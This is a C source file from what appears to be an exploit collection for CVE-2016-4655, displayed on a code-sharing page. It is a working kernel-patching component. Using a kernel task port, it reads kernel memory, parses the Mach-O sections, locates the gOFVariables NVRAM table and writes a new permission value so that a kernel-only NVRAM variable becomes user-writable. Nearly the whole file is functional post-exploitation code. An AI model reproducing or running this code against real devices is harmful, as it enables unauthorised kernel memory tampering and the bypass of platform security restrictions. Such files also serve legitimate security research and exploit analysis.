Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/nvpatch.m
Views: 11779
/*1* nvpatch.m - Patch kernel to unrestrict NVRAM variables2* Taken and modified from kern-utils3*4* Copyright (c) 2014 Samuel Groß5* Copyright (c) 2016 Pupyshev Nikita6* Copyright (c) 2017 Siguza7*/89#include <errno.h> // errno10#include <stdio.h> // fprintf, stderr11#include <stdlib.h> // free, malloc12#include <string.h> // memmem, strcmp, strnlen1314#include "arch.h" // ADDR, MACH_*, mach_*15#include "mach-o.h" // CMD_ITERATE1617#include "nvpatch.h"1819#define STRING_SEG "__TEXT"20#define STRING_SEC "__cstring"21#define OFVAR_SEG "__DATA"22#define OFVAR_SEC "__data"2324enum25{26kOFVarTypeBoolean = 1,27kOFVarTypeNumber,28kOFVarTypeString,29kOFVarTypeData,30};3132enum33{34kOFVarPermRootOnly = 0,35kOFVarPermUserRead,36kOFVarPermUserWrite,37kOFVarPermKernelOnly,38};3940typedef struct41{42vm_address_t name;43uint32_t type;44uint32_t perm;45int32_t offset;46} OFVar;4748#define MAX_CHUNK_SIZE 0xFFF /* MIG limitation */4950static vm_size_t kernel_read(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)51{52kern_return_t ret;53vm_size_t remainder = size,54bytes_read = 0;5556// The vm_* APIs are part of the mach_vm subsystem, which is a MIG thing57// and therefore has a hard limit of 0x1000 bytes that it accepts. Due to58// this, we have to do both reading and writing in chunks smaller than that.59for(vm_address_t end = addr + size; addr < end; remainder -= size)60{61size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;62ret = vm_read_overwrite(kernel_task, addr, size, (vm_address_t)&((char*)buf)[bytes_read], &size);63if(ret != KERN_SUCCESS || size == 0)64{65LOG("vm_read error: %s", mach_error_string(ret));66break;67}68bytes_read += size;69addr += size;70}7172return bytes_read;73}7475static vm_size_t kernel_write(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)76{77kern_return_t ret;78vm_size_t remainder = size,79bytes_written = 0;8081for(vm_address_t end = addr + size; addr < end; remainder -= size)82{83size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;84ret = vm_write(kernel_task, addr, (vm_offset_t)&((char*)buf)[bytes_written], (mach_msg_type_number_t)size);85if(ret != KERN_SUCCESS)86{87LOG("vm_write error: %s", mach_error_string(ret));88break;89}90bytes_written += size;91addr += size;92}9394return bytes_written;95}9697int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target)98{99mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);100if(hdr == NULL)101{102LOG("Failed to allocate header buffer (%s)", strerror(errno));103return -1;104}105memset(hdr, 0, MAX_HEADER_SIZE);106107LOG("Reading kernel header...");108if(kernel_read(kernel_task, kbase, MAX_HEADER_SIZE, hdr) != MAX_HEADER_SIZE)109{110LOG("Kernel I/O error");111return -1;112}113114segment_t115cstring =116{117.addr = 0,118.len = 0,119.buf = NULL,120},121data =122{123.addr = 0,124.len = 0,125.buf = NULL,126};127CMD_ITERATE(hdr, cmd)128{129switch(cmd->cmd)130{131case MACH_LC_SEGMENT:132{133mach_seg_t *seg = (mach_seg_t*)cmd;134mach_sec_t *sec = (mach_sec_t*)(seg + 1);135for(size_t i = 0; i < seg->nsects; ++i)136{137if(strcmp(sec[i].segname, STRING_SEG) == 0 && strcmp(sec[i].sectname, STRING_SEC) == 0)138{139LOG("Found " STRING_SEG "." STRING_SEC " section at " ADDR, (vm_address_t)sec[i].addr);140cstring.addr = sec[i].addr;141cstring.len = sec[i].size;142cstring.buf = malloc(cstring.len);143if(cstring.buf == NULL)144{145LOG("Failed to allocate section buffer (%s)", strerror(errno));146return -1;147}148if(kernel_read(kernel_task, cstring.addr, cstring.len, cstring.buf) != cstring.len)149{150LOG("Kernel I/O error");151return -1;152}153}154else if(strcmp(sec[i].segname, OFVAR_SEG) == 0 && strcmp(sec[i].sectname, OFVAR_SEC) == 0)155{156LOG("Found " OFVAR_SEG "." OFVAR_SEC " section at " ADDR, (vm_address_t)sec[i].addr);157data.addr = sec[i].addr;158data.len = sec[i].size;159data.buf = malloc(data.len);160if(data.buf == NULL)161{162LOG("Failed to allocate section buffer (%s)", strerror(errno));163return -1;164}165if(kernel_read(kernel_task, data.addr, data.len, data.buf) != data.len)166{167LOG("Kernel I/O error");168return -1;169}170}171}172}173break;174}175}176if(cstring.buf == NULL)177{178LOG("Failed to find " STRING_SEG "." STRING_SEC " section");179return -1;180}181if(data.buf == NULL)182{183LOG("Failed to find " OFVAR_SEG "." OFVAR_SEC " section");184return -1;185}186187// This is the name of the first NVRAM variable188char first[] = "little-endian?";189char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));190if(str == NULL)191{192LOG("Failed to find string \"%s\"", first);193return -1;194}195vm_address_t str_addr = (str - cstring.buf) + cstring.addr;196LOG("Found string \"%s\" at " ADDR, first, str_addr);197198// Now let's find a reference to it199OFVar *gOFVars = NULL;200for(vm_address_t *ptr = (vm_address_t*)data.buf, *end = (vm_address_t*)&data.buf[data.len]; ptr < end; ++ptr)201{202if(*ptr == str_addr)203{204gOFVars = (OFVar*)ptr;205break;206}207}208if(gOFVars == NULL)209{210LOG("Failed to find gOFVariables");211return -1;212}213vm_address_t gOFAddr = ((char*)gOFVars - data.buf) + data.addr;214LOG("Found gOFVariables at " ADDR, gOFAddr);215216// Sanity checks217size_t numvars = 0,218longest_name = 0;219for(OFVar *var = gOFVars; (char*)var < &data.buf[data.len]; ++var)220{221if(var->name == 0) // End marker222{223break;224}225if(var->name < cstring.addr || var->name >= cstring.addr + cstring.len)226{227LOG("gOFVariables[%lu].name is out of bounds", numvars);228return -1;229}230char *name = &cstring.buf[var->name - cstring.addr];231size_t maxlen = cstring.len - (name - cstring.buf),232namelen = strnlen(name, maxlen);233if(namelen == maxlen)234{235LOG("gOFVariables[%lu].name exceeds __cstring size", numvars);236return -1;237}238for(size_t i = 0; i < namelen; ++i)239{240if(name[i] < 0x20 || name[i] >= 0x7f)241{242LOG("gOFVariables[%lu].name contains non-printable character: 0x%02x", numvars, name[i]);243return -1;244}245}246longest_name = namelen > longest_name ? namelen : longest_name;247switch(var->type)248{249case kOFVarTypeBoolean:250case kOFVarTypeNumber:251case kOFVarTypeString:252case kOFVarTypeData:253break;254default:255LOG("gOFVariables[%lu] has unknown type: 0x%x", numvars, var->type);256return -1;257}258switch(var->perm)259{260case kOFVarPermRootOnly:261case kOFVarPermUserRead:262case kOFVarPermUserWrite:263case kOFVarPermKernelOnly:264break;265default:266LOG("gOFVariables[%lu] has unknown permissions: 0x%x", numvars, var->perm);267return -1;268}269++numvars;270}271if(numvars < 1)272{273LOG("gOFVariables contains zero entries");274return -1;275}276277for(size_t i = 0; i < numvars; ++i)278{279char *name = &cstring.buf[gOFVars[i].name - cstring.addr];280if(strcmp(name, target) == 0)281{282if(gOFVars[i].perm != kOFVarPermKernelOnly)283{284LOG("Variable \"%s\" is already writable for %s", target, gOFVars[i].perm == kOFVarPermUserWrite ? "everyone" : "root");285goto done;286}287vm_size_t off = ((char*)&gOFVars[i].perm) - data.buf;288uint32_t newperm = kOFVarPermUserWrite; // was kOFVarPermRootOnly289if(kernel_write(kernel_task, data.addr + off, sizeof(newperm), &newperm) != sizeof(newperm))290{291LOG("Kernel I/O error");292return -1;293}294LOG("Successfully patched permissions for variable \"%s\"", target);295goto done;296}297}298LOG("Failed to find variable \"%s\"", target);299return -1;300301done:;302303free(cstring.buf);304free(data.buf);305free(hdr);306307return 0;308}309310311